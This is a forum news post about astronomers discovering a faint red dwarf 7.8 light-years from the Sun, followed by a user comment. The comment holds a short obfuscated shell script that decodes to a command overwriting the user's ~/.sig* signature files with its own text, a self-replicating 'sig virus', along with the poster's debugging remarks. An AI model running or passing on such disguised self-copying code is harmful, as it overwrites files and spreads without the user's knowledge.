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New Star in the Neighborhood

Posted by michael on from the drop-by-for-a-visit dept.

tachyonflow writes "Well, it's probably been around for a while, but it's new to us. The Sydney Morning Herald is reporting that astronomers have discovered a new star only 7.8 light-years from our sun. It's a red dwarf that's not visible to the naked eye from earth. I guess it's time to update those Celestia databases..."

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  1. Re:It's not a "new star" by spectral · · Score: 0, Offtopic

    tee: ~/.sig*: No such file or directory
    £!/bin/sh
    echo $0|grep sh$||(c=`echo 3vvpnqo2zxm|tr 'a-z|$*~. /0-9' '0-9|$*~. /a-z'`;cat $0|$c)

    it wants to replace my # with a .. well, ok, a pound symbol. I don't know why. and if it's from the variable $c, tee doesn't work (though if I just type it in by hand it does.)